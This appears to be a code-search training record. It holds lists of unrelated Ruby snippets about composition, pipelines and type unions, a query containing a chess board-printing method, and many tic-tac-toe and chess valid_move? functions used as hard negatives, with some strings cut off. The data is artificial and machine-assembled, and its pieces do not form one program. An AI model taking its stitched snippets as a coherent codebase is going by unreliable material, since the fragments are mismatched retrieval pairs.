required_keywords[keyword] = AST::Types::Union.build(\n types: [\n self.required_keywords[keyword],\n other.required_keywords[keyword]\n ]\n )\n end\n\n self.optional_keywords.each do |keyword, t|\n unless optional_keywords.key?(keyword) || required_keywords.key?(keyword)\n case\n when s = other.required_keywords[keyword]\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, s])\n when s = other.optional_keywords[keyword]\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, s])\n when r = other.rest_keywords\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, r])\n else\n optional_keywords[keyword] = t\n end\n end\n end\n other.optional_keywords.each do |keyword, t|\n unless optional_keywords.key?(keyword) || required_keywords.key?(keyword)\n case\n when s = self.required_keywords[keyword]\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, s])\n when s = self.optional_keywords[keyword]\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, s])\n when r = self.rest_keywords\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, r])\n else\n optional_keywords[keyword] = t\n end\n end\n end\n self.required_keywords.each do |keyword, t|\n unless optional_keywords.key?(keyword) || required_keywords.key?(keyword)\n case\n when s = other.optional_keywords[keyword]\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, s])\n when r = other.rest_keywords\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, r])\n else\n optional_keywords[keyword] = t\n end\n end\n end\n other.required_keywords.each do |keyword, t|\n unless optional_keywords.key?(keyword) || required_keywords.key?(keyword)\n case\n when s = self.optional_keywords[keyword]\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, s])\n when r = self.rest_keywords\n optional_keywords[keyword] = AST::Types::Union.build(types: [t, r])\n else\n optional_keywords[keyword] = t\n end\n end\n end\n\n rest = case\n when self.rest_keywords && other.rest_keywords\n AST::Types::Union.build(types: [self.rest_keywords, other.rest_keywords])\n when self.rest_keywords\n if required_keywords.empty? && optional_keywords.empty?\n self.rest_keywords\n end\n when other.rest_keywords\n if required_keywords.empty? && optional_keywords.empty?\n other.rest_keywords\n end\n else\n nil\n end\n\n Params.new(\n required: [],\n optional: [],\n rest: nil,\n required_keywords: required_keywords,\n optional_keywords: optional_keywords,\n rest_keywords: rest)\n end\n end", "def compose(other)\n Composite.new(self, right: other)\n end", "def compose_parsers(parsers)\n raise ArgumentError.new('expects an array') unless parsers.is_a? Array\n composed_parser = Class.new(Decanter::Parser::ComposeParser)\n composed_parser.parsers(parsers)\n composed_parser\n end", "def create_chain( desc, flts = nil, listener = nil )\n\n if desc.is_a?( Symbol )\n flts = send( desc ) unless flts\n desc = desc.to_s.gsub( /_/, '-' )\n end\n\n flts = flts.flatten.compact if flts\n\n if flts.nil? || flts.empty?\n NoOpFilter.new\n else\n c = FilterChain.new( desc, flts )\n if listener.nil?\n c.listener = log_listener( desc )\n elsif listener == :main\n c.listener = @listener\n else\n c.listener = listener\n end\n yield c if block_given?\n c\n end\n end", "def &(proc, options={})\n _insert On.new(Right, And.new(proc)), options, proc, \"&\"\n end", "def compose(f)\n if self.respond_to?(:arity) && self.arity == 1\n lambda { |*args| self[f[*args]] }\n else\n lambda { |*args| self[*f[*args]] }\n end\n end", "def compose\n body do\n p 'Hello,'\n br\n yield # Call the children, and embed them here\n p(:class => 'bonus') do\n text \"& <some escaping too>\"\n end\n end\n end", "def chain(params = {}, &block); validation_chain.chain(params, &block); end", "def test_with_multiple_composites\n pipeline = Class.new(Pipeline)\n pipeline.use @append_a, @append_b\n result = pipeline.process([])\n assert_equal(['a', 'b'], result)\n end", "def credit_card(*types); end", "def do_something (arg1, arg2, arg3)\n\n\targ1^arg2^arg3\nend", "def test_with_multiple_compositions\n pipeline = Class.new(Pipeline)\n pipeline.use @append_a, @append_b\n pipeline.use @append_c\n result = pipeline.process([])\n assert_equal(['a', 'b', 'c'], result)\n end", "def pipe!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 79 )\n\n type = PIPE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 200:8: '|'\n match( 0x7c )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 79 )\n\n end", "def send_chain(expression)\n expression = expression.to_s\n return self if expression.blank?\n return self.send(expression) unless expression.include?(\".\")\n \n expression.split('.').inject(self) { |result, method| result.send(method) }\n end", "def Pipeable(*args)\n Pipeable.for(*args, caller: self)\n end", "def or( *args ); { $or => args } end", "def command *args, &block\n @commands ||= []\n @args ||= []\n @commands << block\n @args << args\n end", "def add\n C.curry.(->(x, y) { x + y })\n end", "def chained_call(*methods)\n raise \"Not implemented yet.\"\n end", "def build_call_chain(stack)\n # We need to instantiate the middleware stack in reverse\n # order so that each middleware can have a reference to\n # the next middleware it has to call. The final middleware\n # is always the empty middleware, which does nothing but return.\n stack.reverse.inject(EMPTY_MIDDLEWARE) do |next_middleware, current_middleware|\n # Unpack the actual item\n klass, args, kwargs, block = current_middleware\n\n # Default the arguments to an empty array. Otherwise in Ruby 1.8\n # a `nil` args will actually pass `nil` into the class. Not what\n # we want!\n args ||= []\n kwargs ||= {}\n\n if klass.is_a?(Class)\n # If the klass actually is a class, then instantiate it with\n # the app and any other arguments given.\n klass.new(next_middleware, *args, **kwargs, &block)\n elsif klass.respond_to?(:call)\n # Make it a lambda which calls the item then forwards up\n # the chain.\n lambda do |env|\n next_middleware.call(klass.call(env, *args))\n end\n else\n fail \"Invalid middleware, doesn't respond to `call`: #{klass.inspect}\"\n end\n end\n end", "def |(other)\n self_type_params = Set.new(self.type_params)\n other_type_params = Set.new(other.type_params)\n\n unless (common_type_params = (self_type_params & other_type_params).to_a).empty?\n fresh_types = common_type_params.map {|name| AST::Types::Var.fresh(name) }\n fresh_names = fresh_types.map(&:name)\n subst = Substitution.build(common_type_params, fresh_types)\n other = other.instantiate(subst)\n type_params = (self_type_params + (other_type_params - common_type_params + Set.new(fresh_names))).to_a\n else\n type_params = (self_type_params + other_type_params).to_a\n end\n\n params = self.params & other.params or return\n block = case\n when self.block && other.block\n block_params = self.block.type.params | other.block.type.params\n block_return_type = AST::Types::Intersection.build(types: [self.block.type.return_type, other.block.type.return_type])\n block_type = AST::Types::Proc.new(params: block_params,\n return_type: block_return_type,\n location: nil)\n Block.new(\n type: block_type,\n optional: self.block.optional && other.block.optional\n )\n when self.block && self.block.optional?\n self.block\n when other.block && other.block.optional?\n other.block\n when !self.block && !other.block\n nil\n else\n return\n end\n return_type = AST::Types::Union.build(types: [self.return_type, other.return_type])\n\n MethodType.new(\n params: params,\n block: block,\n return_type: return_type,\n type_params: type_params,\n method_def: nil,\n location: nil\n )\n end", "def fmapr_compose\n ->(*fns) {\n -> x { fns.reverse.inject(x) {|x, fn| x.success? ? x.fmap(fn).value_or : x} }\n }\n end", "def process_call(exp)\n receiver = exp.shift\n name = exp.shift\n\n receiver = process receiver\n\n case name\n # TODO: these need to be numerics\n # emacs gets confused by :/ below, need quotes to fix indentation\n when :==, :<, :>, :<=, :>=, :-, :+, :*, :\"/\", :% then\n args = process exp.shift[1]\n return \"#{receiver} #{name} #{args}\"\n when :<=>\n args = process exp.shift[1]\n return \"RB_COMPARE(#{receiver}, #{args})\"\n when :equal?\n args = process exp.shift\n return \"#{receiver} == #{args}\" # equal? == address equality\n when :[]\n args = process exp.shift\n return \"#{receiver}[#{args}]\"\n when :nil?\n exp.clear\n return receiver.to_s\n else\n args = process exp.shift\n\n if receiver.nil? and args.nil? then\n args = \"\"\n elsif receiver.nil? then\n # nothing to do \n elsif args.nil? or args.empty? then\n args = receiver\n else\n args = \"#{receiver}, #{args}\"\n end\n\n args = '' if args == 'rb_ary_new()' # HACK\n\n return \"#{name}(#{args})\"\n end\n end", "def method_missing method, *args, &block\n case method.to_s\n when /^of_(.*)$/\n return self.of($1, *args, &block)\n when /^and_(.*)$/\n return self.and($1, *args, &block)\n end\n\n return to_proc.send method, *args, &block if Proc.instance_methods.include? method\n\n super\n end", "def compose(other)\n Composite.new(self, other)\n end", "def chain(method_name, *args, &block)\r\n @chain = true\r\n send(method_name, *args, &block)\r\n end", "def plus number\n Proc.new do |leftop|\n leftop + number\n end\nend", "def pipe(other)\n Pipeline.new(@pipes + [other])\n end", "def on_pipe(ast_node, context)\n left, right = *ast_node\n\n return process(left, context) + process(right, context)\n end", "def compose(injectors:, extractors:)\n raise ArgumentError, 'injectors and extractors must both be non-nil arrays' unless injectors.is_a?(Array) && extractors.is_a?(Array)\n\n new(injectors: injectors, extractors: extractors)\n end", "def chain\n [self]\n end", "def cast_or_call(cc, mod, fun, *args)\n req = t[cc, mod.to_sym, fun.to_sym, args]\n write_berp(req)\n read_response\n end", "def func_defun(args)\n p1 = car(args)\n p2 = car(cdr(args))\n p3 = cdr(cdr(args))\n\n lexpr = @o_man.new_object(LObject::OBJ_CONS)\n lexpr.value.c.car = @o_man.new_object(LObject::OBJ_IDENTIFIER)\n lexpr.value.c.car.value.id = \"lambda\"\n lexpr.value.c.cdr = @o_man.new_object(LObject::OBJ_CONS)\n lexpr.value.c.cdr.value.c.car = p2\n lexpr.value.c.cdr.value.c.cdr = p3\n @o_man.set_object(p1, lexpr)\n return lexpr\n end", "def &(arg0)\n end", "def &(arg0)\n end", "def &(arg0)\n end", "def wrap(other)\n Pipeline.new(@pipes + [->(_) { other }])\n end", "def |(arity)\n\t\tConcatenative::RubyMessage.new self, arity\n\tend", "def call(*) end", "def call(*) end", "def reduce(chain)\n if chain.length == 1\n chain.first && chain.first.to_ast\n else\n call = chain.last\n receiver = reduce(chain[0..-2])\n \n if !call.respond_to?(:argument_list) || call.argument_list.empty?\n argument_list = Carat::AST::ArgumentList.new(location)\n else\n argument_list = call.argument_list.to_ast\n end\n \n Carat::AST::MethodCall.new(location, receiver, call.method_name.to_sym, argument_list)\n end\n end", "def compile!( name, &block )\n define_method name, &block\n method = instance_method name\n remove_method name\n\n block.arity == 0 ? proc { |a,p| method.bind(a).call } : proc { |a,*p| method.bind(a).call(*p) }\n end", "def process_or(exp)\n a = exp.shift\n b = exp.shift\n\n res = without_result do\n want_expression do\n with_temporary_variable do |tmp|\n @local_variables_need_no_initialization.add(tmp)\n \"(#{tmp}=#{process(a)}, (#{tmp}!==false&&#{tmp}!==nil) ? #{tmp} : (#{process(b)}))\"\n end\n end\n end\n\n return resultify(res)\n end", "def or a, b\n a.prove { yield }\n b.prove { yield }\n end", "def use(middleware, *args, &block)\n @build.use(middleware, *args, &block)\n end", "def rewrite_or(expression)\n first = expression[1]\n second = expression[2]\n\n VirtualKeywords.call_operator_replacement(:call_or, first, second)\n end", "def composite_class\n Command::Composite\n end", "def two_method(x,y,z)\n\t\tx + y + z\nend", "def |(enum); end", "def |( other_filter )\n\t\treturn other_filter if self.promiscuous?\n\t\treturn self.dup if other_filter.promiscuous?\n\n\t\t# Collapse nested ORs into a single one with an additional alternation\n\t\t# if possible.\n\t\tif self.component.respond_to?( :add_alternation )\n\t\t\tself.log.debug \"collapsing nested ORs...\"\n\t\t\tnewcomp = self.component.dup\n\t\t\tnewcomp.add_alternation( other_filter )\n\t\t\treturn self.class.new( newcomp )\n\t\telse\n\t\t\treturn self.class.new( :or, [self, other_filter] )\n\t\tend\n\tend", "def process command\n @next_action = nil\n @output = []\n\n return([:self, self, [], nil]) if command.empty?\n block, arguments = definition.proc_for(command)\n\n instance_exec(*arguments, &block)\n action, context = @next_action || [ :self, self ]\n\n return([ action, context, @output, nil ])\n rescue Cuttlebone::DoubleActionError\n raise\n rescue => e\n return([ :self, self, [], %{Cuttlebone::Controller: #{e.message} (#{e.class})} ])\n end", "def compose\n if @queries.length > 1\n compose_multi_query\n else\n compose_single_query\n end\n end" ]
[ "0.60123587", "0.6000457", "0.58178556", "0.57866865", "0.56954706", "0.569083", "0.569083", "0.569083", "0.5682402", "0.5670192", "0.5670192", "0.5670192", "0.5670192", "0.5665571", "0.5663256", "0.5595734", "0.55152327", "0.55152327", "0.55152327", "0.5508675", "0.54920864", "0.54242194", "0.54242194", "0.5342156", "0.53374875", "0.53349835", "0.5304969", "0.53019124", "0.5216422", "0.52028126", "0.51717657", "0.51717657", "0.51717657", "0.51717657", "0.51717657", "0.51717657", "0.51628065", "0.5111721", "0.5071072", "0.5051961", "0.5042202", "0.50303096", "0.50097734", "0.5004563", "0.5001996", "0.4963515", "0.49622986", "0.4957398", "0.49439278", "0.49392888", "0.4933542", "0.48967466", "0.48789442", "0.48716313", "0.48706377", "0.48460045", "0.48417956", "0.4835956", "0.4834033", "0.4830894", "0.48274752", "0.48243913", "0.48166305", "0.48149145", "0.48145178", "0.4797947", "0.47868004", "0.47857866", "0.47843656", "0.4779611", "0.47775224", "0.47729924", "0.47689995", "0.4751235", "0.47256258", "0.4723363", "0.47212386", "0.47161892", "0.47138107", "0.47126767", "0.47075155", "0.46968216", "0.46968216", "0.46968216", "0.4695428", "0.4688774", "0.46871477", "0.46871477", "0.4675758", "0.46722585", "0.46635777", "0.4644466", "0.46401495", "0.46365154", "0.46360332", "0.46246952", "0.46206966", "0.46177533", "0.46150205", "0.46147484" ]
0.4935292
50
def valid_move?(start_pos, end_pos) if piece_at(end_pos) Change to another error? return false end end
def show_board @grid.each_with_index do |row, row_index| row.each_with_index do |square, col_index| piece = self[row_index, col_index] if row_index.even? && col_index.even? print " #{piece.display} ".colorize( :color => :black, :background => :white ) if (piece && piece.color == :black) print " #{piece.display} ".colorize( :color => :red, :background => :white ) if (piece && piece.color == :red) print " ".colorize( :background => :white ) if piece.nil? elsif row_index.even? && col_index.odd? print " #{piece.display} ".colorize( :color => :black, :background => :light_white ) if (piece && piece.color == :black) print " #{piece.display} ".colorize( :color => :red, :background => :light_white ) if (piece && piece.color == :red) print " ".colorize( :background => :light_white ) if piece.nil? elsif row_index.odd? && col_index.even? print " #{piece.display} ".colorize( :color => :black, :background => :light_white ) if (piece && piece.color == :black) print " #{piece.display} ".colorize( :color => :red, :background => :light_white ) if (piece && piece.color == :red) print " ".colorize( :background => :light_white ) if piece.nil? elsif row_index.odd? && col_index.odd? print " #{piece.display} ".colorize( :color => :black, :background => :white ) if (piece && piece.color == :black) print " #{piece.display} ".colorize( :color => :red, :background => :white ) if (piece && piece.color == :red) print " ".colorize( :background => :white ) if piece.nil? end end puts "" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def valid_move?(position)\n position.between?(0,8) && !position_taken?(position)\n end", "def check_move(start_pos, end_pos)\n # p start_pos\n # puts end_pos\n\n if self[[start_pos[0], start_pos[1]]].valid_move?(start_pos, end_pos, self)\n self[[start_pos[0], start_pos[1]]].move(start_pos, end_pos, self)\n end\n end", "def valid_move?(board, index)\nif position_taken?(board, index) == false\n if between?(index) == true\n true\n else\n false\n end\nelse\n false\nend\nend", "def valid_move?(move_index)\r\n #valid if position is NOT taken\r\n valid = !self.position_taken?(move_index)\r\n if valid == true\r\n if move_index.between?(0,8)\r\n valid = true\r\n else\r\n valid = false\r\n end\r\n end\r\n valid\r\n end", "def valid_move?(a,i)\r\n if i.between?(0,8) && !position_taken?(a,i)\r\n true\r\n else\r\n false\r\n end\r\nend", "def valid_move?(move)\n\t\tif in_bounds?(move) && empty_space?(move) && any_converted_pieces?(move)\n\t\t\treturn true\n\t\telse \n\t\t\treturn false\n\t\tend \n\tend", "def valid_move?(position)\n index=position.to_i - 1\n index.between?(0, 8) && !(position_taken?(index))\n end", "def valid_move?(fir, sec)\n if (sec < 0) || (sec > 8)\n return false\n elsif position_taken?(fir,sec)\n return false\n else\n return true\n end\nend", "def valid_move?(start_coords, end_coords)\n return false if end_coords.size == 0 # validate user input\n return true unless valid_move_chain(start_coords, end_coords).empty?\n false\n end", "def valid_move?(index)\n if position_taken?(index)\n false\n elsif position_taken?(index) == false && index.between?(0,8)\n true\n end\n end", "def valid_move?(position)\r\n @index = position.to_i-1\r\n if @index.between?(0,8) && !position_taken?(@index)\r\n return true\r\n else\r\n return false\r\n end\r\n end", "def valid_move?(position)\n if !position_taken?(position) && position.between?(0,8)\n true\n else\n false\n end\n end", "def valid_move?(index)\n if (index.between?(0,8) == true) && (position_taken?(index) == false)\n return true \n else\n return false\n end\nend", "def legal_move?(board,from,to)\n\t\treturn false unless super(board,to)\n\t\tfrom_y = from[1]\n\t\tfrom_x = from[0]\n\t\tto_y = to[1]\n\t\tto_x = to[0]\n\t\t#when trying to move diagonally\n\t\tif from_x != to_x\n\t\t\t#checks colour of pawn\n\t\t\tif colour == \"white\"\n\t\t\t\t#checks only 1 vertical move away\n\t\t\t\tif (from_y-to_y) == 1\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"No enemy pawn there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif (to_y-from_y) == 1\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"No enemy pawn there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#when trying to move straight\n\t\tif colour == \"white\"\n\t\t\tif from_y == 6\n\t\t\t\tif (from_y-to_y) <= 2 && board.get_piece(to) == \"_\"\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"Can only move 1 or 2 spaces from here and or another piece already there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\t\t\t\t\t\n\t\t\telse\n\t\t\t\tif (from_y-to_y) == 1 && board.get_piece(to) == \"_\"\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"Can only move 1 space from here and or another piece already there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tif from_y == 1\n\t\t\t\tif (to_y-from_y) <= 2 && board.get_piece(to) == \"_\"\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"Can only move 1 or 2 spaces from here and or another piece already there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif (to_y-from_y) == 1 && board.get_piece(to) == \"_\"\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"Can only move 1 space from here and or another piece already there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def valid_move?(position)\n position = position.to_i - 1\n if position_taken?(position) == false && position.to_i.between?(0, 8)\n return true\nelsif position_taken?(position) == true\n return false\nelse \n return false\nend\nend", "def valid_move?(index)\n if position_taken?(index) == false && index.between?(0,8)\n true\n else\n false\n end\nend", "def valid_move?(index)\n if position_taken?(index)\n false\n elsif index < 0 || index > 8\n false\n else\n true \n end\n end", "def valid_move?(from_row, from_column, to_row, to_column)\n piece = @state[from_row][from_column]\n return false if piece == nil\n\n new_location = [to_row, to_column]\n return false unless piece.moves.include? new_location\n\n return pawn_valid_move?(piece, new_location, to_column, from_column) if\n piece.class == Pawn\n\n return false unless empty_location?([to_row, to_column]) || \n enemy_piece_at_location?(piece.color, new_location)\n\n unless piece.class == Knight || piece.class == King\n return no_pieces_in_between?(from_row, from_column, to_row, to_column)\n end\n\n true\n end", "def valid_move?(board, index)\n if index.between?(0, 8) && (position_taken?(board, index) == false)\n true\n elsif (index.between?(0,8) == false) || (position_taken?(board, index) == true)\n false\n end\nend", "def valid_move?(piece, location)\n\t\tif valid?(piece, location) == false\n\t\t\treturn false\n\t\tend\n\t\t\n\t\tif location_at_offset?(piece, location, 1, 1)\n\t\t\treturn true\n\t\tend\n\t\t\n\t\tif location_at_offset?(piece, location, -1, 1)\n\t\t\treturn true\n\t\tend\n\t\t\n\t\tif location_at_offset?(piece, location, 1, -1)\n\t\t\treturn true\n\t\tend\n\t\t\n\t\tif location_at_offset?(piece, location, -1, -1)\n\t\t\treturn true\n\t\tend\n\t\t\n\t\tif valid_jump?(piece, location) == nil\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend", "def valid_move?(piece, location)\n\t\tif valid?(piece, location) == false\n\t\t\treturn false\n\t\tend\n\t\t\n\t\tif location_at_offset?(piece, location, 1, 1)\n\t\t\treturn true\n\t\tend\n\t\t\n\t\tif location_at_offset?(piece, location, -1, 1)\n\t\t\treturn true\n\t\tend\n\t\t\n\t\tif location_at_offset?(piece, location, 1, -1)\n\t\t\treturn true\n\t\tend\n\t\t\n\t\tif location_at_offset?(piece, location, -1, -1)\n\t\t\treturn true\n\t\tend\n\t\t\n\t\tif valid_jump?(piece, location) == nil\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend", "def valid_move?(board, index)\n \nif position_taken?(board, index) === false && index.between?(0, 8)\n return true\nelse \n return false\nend\nend", "def valid_move?(index)\n if index.between?(0,8)\n if !position_taken?(index)\n true\n else\n false\n end\n end\nend", "def valid_move?(new_x, new_y)\n true\n end", "def valid_move?( board, index )\n\n if (index.between?(0,8) ) && ( position_taken?(board, index) == false )\n return true\n else\n return false\n end\n\nend", "def valid_move? (board, index)\n if position_taken?(board,index) != false || !(index.between?(0,8))\n return false\n elsif position_taken?(board,index) == false && index.between?(0,8)\n return true\n end\nend", "def valid_move?(move)\n move = move.to_i if move.is_a? String\n return false unless move.is_a? Integer\n move.between?(1, 9) && !position_taken?(move-1) \n end", "def valid_move?(board, index)\n if !(index.between?(0,8))\n return false\n end\n if (position_taken?(board,index))\n return false\n end\n true\nend", "def valid_move?(board, index)\nif position_taken?(board, index)\nreturn false\nelsif !index.between?(0, 8)\n return false\n else\n return true\n end\nend", "def can_move?(end_pos)\n return false if end_pos == self.pos\n return false unless on_board?(end_pos)\n return false unless self.pos.vertical_to?(end_pos) || self.pos.horizontal_to?(end_pos)\n return false if own_piece?(@board[end_pos])\n all_moves = self.pos.to(end_pos)\n return false if all_moves.empty?\n return false unless not_blocked?(all_moves)\n return false unless (self.pos - end_pos) != nil && (self.pos - end_pos).two_norm_square == 2\n return false if is_square_in_check?(end_pos, @@opponent_color[self.color])\n return true\n end", "def valid_move?(location)\n location.to_i.between?(1,9) && !position_taken?(location.to_i-1)\n end", "def valid_move?(index)\n index.between?(0,8) && ! position_taken?(index)\n end", "def valid_move?(board, position)\n position_taken?(board, position) == false && position.between?(0, 8) ? true : false\nend", "def valid_move?(board, index)\nif !(index.between?(0,8))\n return false\nelsif position_taken?(board, index)\n return false \nelse \n return true\n end\nend", "def valid_move?(board, index)\n if index.between?(0, 8) && position_taken?(board, index) == false\n true\n else\n false\n end\nend", "def valid_move?(board, position)\n if !(position_taken?(board, position)) && position.between?(0, 8)\n return true\n else\n return false\n end\nend", "def valid_move?(board, position)\n position = position.to_i\n return false if !valid_position?(position)\n return false if position_taken?(board, position)\n return true\nend", "def valid_move?(board,pos)\n if !position_taken?(board,pos.to_i-1) && pos.to_i.between?(1,9)\n return true\n elsif position_taken?(board,pos.to_i-1) && pos.to_i.between?(1,9)\n return false\n end\nend", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\nend", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\nend", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\nend", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\nend", "def valid_move?(from, to, pieces)\n # check if move is forward for plain piece (not king)\n row = Game.index_to_row(from)\n if Game.is_king?(pieces[from-1]) # kings can go in both direction\n return false if (row + 1 != Game.index_to_row(to)) and (row - 1 != Game.index_to_row(to)) \n elsif Game.is_red?(pieces[from-1])\n return false if row + 1 != Game.index_to_row(to)\n elsif Game.is_white?(pieces[from-1]) and !Game.is_king?(pieces[from-1]) # kings can go in both direction\n return false if row - 1 != Game.index_to_row(to)\n end\n map = get_possible_moves_map\n map[from].include? to\n end", "def valid_move?(input)\n (0..8).include?(input) && !position_taken?(input)\n end", "def validMove(piece, newLocation)\n # piece can move to any empty adjacent space.\n # might need to account for placing pieces. can be counted as a fly move i guess \n\n if newLocation == nil || piece == nil\n return false\n end\n\n # check if its a fly move. \n if @player1.isActive\n if @player1.numPlayedPieces <= 3\n fly = true \n else\n fly = false\n end\n else\n if @player2.numPlayedPieces <= 3\n fly = true \n else\n fly = false\n end\n end\n\n\n #checks if space is empty:\n if newLocation.isEmpty()\n # check if its a fly move\n if fly\n # if its a fly and the target location is empty its allowed. \n return true\n elsif piece.location == nil\n return true\n else\n # should return true if the move is valid.\n return @board.isAdjacent(piece,newLocation)\n end\n else\n # should the space is not empty, the move is invalid\n return false\n end\n\n end", "def valid_move?(board, position)\n position.between?(0, 8) && !position_taken?(board, position)\nend", "def valid_move?(move)\n move.to_i.between?(1,9) && !taken?(move)\n end", "def valid_move?(board, index)\n index.between?(0, 8) && position_taken?(board, index) == false\n\nend", "def valid_move?(board,index)\n if position_taken?(board,index)\n false\n elsif index.between?(0, 8)\n true\n end\nend", "def valid_move?(board, i)\n # check if position taken or 'out-of-bounds'\n if (position_taken?(board, i) == true) || (i > 8) || (i < 0)\n return false\n else \n return true\n end \nend", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end", "def valid_move?(board,index)\n if index.between?(0, 8) && !(position_taken?(board, index))\n true\n else \n false\n end\nend", "def valid_move?(board, position)\n !position_taken?(board, position) && position.between?(0,8)\nend", "def could_be_valid_move?\n return @board_gfx.is_draggingpiece_valid?\n end", "def valid_move?( index )\n if position_taken?( index ) == true || !index.between?(0,9)\n return false\n else\n return true\n end\n end", "def valid_move?(board, index)\n position_taken?(board, index) == false && index.between?(0, 8) ? true : false\nend", "def valid_move?(board, new_index)\n if 8 < new_index || new_index < 0\n return false\n elsif position_taken?(board, new_index) == true\n return false\n else\n return true\n end\nend", "def valid_move?(board, index)\r\n if !position_taken?(board, index) && index.between?(0,8)\r\n return true\r\n else\r\n return false\r\n end\r\nend", "def pawn_valid_move?(pawn, new_location, to_column, from_column)\n if to_column == from_column\n if (new_location[0] - pawn.location[0]).abs == 2\n return false if pawn.moved == true\n end\n empty_location?(new_location)\n else\n if enemy_piece_at_location?(pawn.color, new_location)\n true\n else\n valid_en_passant_move?(pawn.color, pawn.location[0], to_column)\n end\n end\n end", "def valid_move?(board, index)\nif index.between?(0,8) && !position_taken?(board, index)\n true\n else\n false\n end\nend", "def valid_move?(board, index)\nif index.between?(0,8) && !position_taken?(board, index)\n true\nelse\n false\nend\nend", "def valid_move?(board, index)\r\n index.between?(0, 8) && !position_taken(board, index) ? true : false \r\nend", "def valid_move?(board, index)\n if index.between?(0,8) && !position_taken?(board, index)\n puts \"this is a valid move\"\n return true\n else\n return false\n end\nend", "def valid_move?(board, index)\n if index.between?(0, 8) and not position_taken?(board, index)\n return true\n else\n return false\n end\nend", "def valid_move?(board,index)\n if position_taken?(board,index) == FALSE && index.between?(0, 8) == TRUE\n TRUE\n else\n FALSE\n end\nend", "def valid_move? (board, position)\n position = position.to_i - 1\n (position.between?(0,8)) && (position_taken?(board, position) == false)\nend", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end", "def valid_move?(board,index)\n if (index >= 0 && index <=8)\n if (position_taken?(board,index))\n return false\n else\n return true\n end\n else\n return false\n end\nend", "def valid_move?(board,position)\n position=position.to_i-1\n if position.between?(0,8) && !position_taken?(board, position)\n true\n else\n false\n end\nend", "def valid_move?(board,index)\n if index.between?(0,8) && !position_taken?(board,index)\n true\n else\n false\n end\n\nend", "def valid_move? (board, index)\n if position_taken?(board, index) == false && (index).between?(0,8)\n return true\n else\n return false\n end\nend", "def valid_move?(board,index)\n if index.between?(0,8) && position_taken?(board,index)\n true\n end\nend", "def valid_move?(index)\n\t\tindex < 9 && !position_taken?(index) ? true : false\n\tend", "def valid_move?(board, index)\n if !position_taken?(board, index) && index.between?(0, 8)\n true #is valid move\n else\n false\n end\nend", "def valid_move?(board, index)\r\n if index.between?(0, 8) && ! position_taken?(board, index)\r\n return TRUE\r\n else \r\n return FALSE\r\n end\r\nend", "def valid_move?(board, index)\n if !position_taken?(board, index) && index.between?(0,8)\n return true\n else\n return false\n end\nend", "def valid_move?(board, index)\n if (index.between?(0,8) == true) && (position_taken?(board, index) == false)\n return true \n else\n return false\n end\nend", "def valid_move? (board, index)\n if index.between?(0, 8) && !position_taken?(board, index)\n true \n end \nend", "def valid_move?(board, position)\n position = position.to_i - 1\n if position_taken?(board, position)\n return false\n else\n if position.between?(0,8) && (board[position] != \"X\" || board[position] != \"O\")\n return true\n else\n return false \n end\n end\nend", "def valid_move?(board, index)\n if position_taken?(board, index)\n false\n elsif index > 8 || index < 0\n false\n else\n true\n end\nend", "def valid_move?(board, index)\n if position_taken?(board, index)\n false\n elsif index.between?(0, 8)\n true\n end\nend", "def valid_move?(board, index)\n if !position_taken?(board, index) && index.between?(0, 8)\n return true\n else\n return false\n end\nend", "def valid_move?(board, index)\n if (index.between?(0, 8) && !position_taken?(board, index))\n return true\n else\n return false\n end\nend", "def move(start_pos, end_pos)\n return false unless valid_move?(start_pos, end_pos)\n\n moving_piece = piece_at(start_pos)\n\n @grid[end_pos[0]][end_pos[1]] = moving_piece\n @grid[start_pos[0]][start_pos[1]] = nil\n\n moving_piece.moved = true if moving_piece.is_a?(Pawn)\n true\n end", "def valid_move?(board, index)\n if index.between?(0,8) && !position_taken?(board,index)\n return true\n else\n return false\n end\nend", "def valid_move?(board, index)\n if position_taken?(board, index) == false && index.between?(0,8) == true\n true\n else\n false\n end\nend", "def valid_move?(board, index)\n if index.between?(0, 8) && position_taken?(board, index) == false\n return true\n else\n return false\n end\nend", "def valid_move?(board, 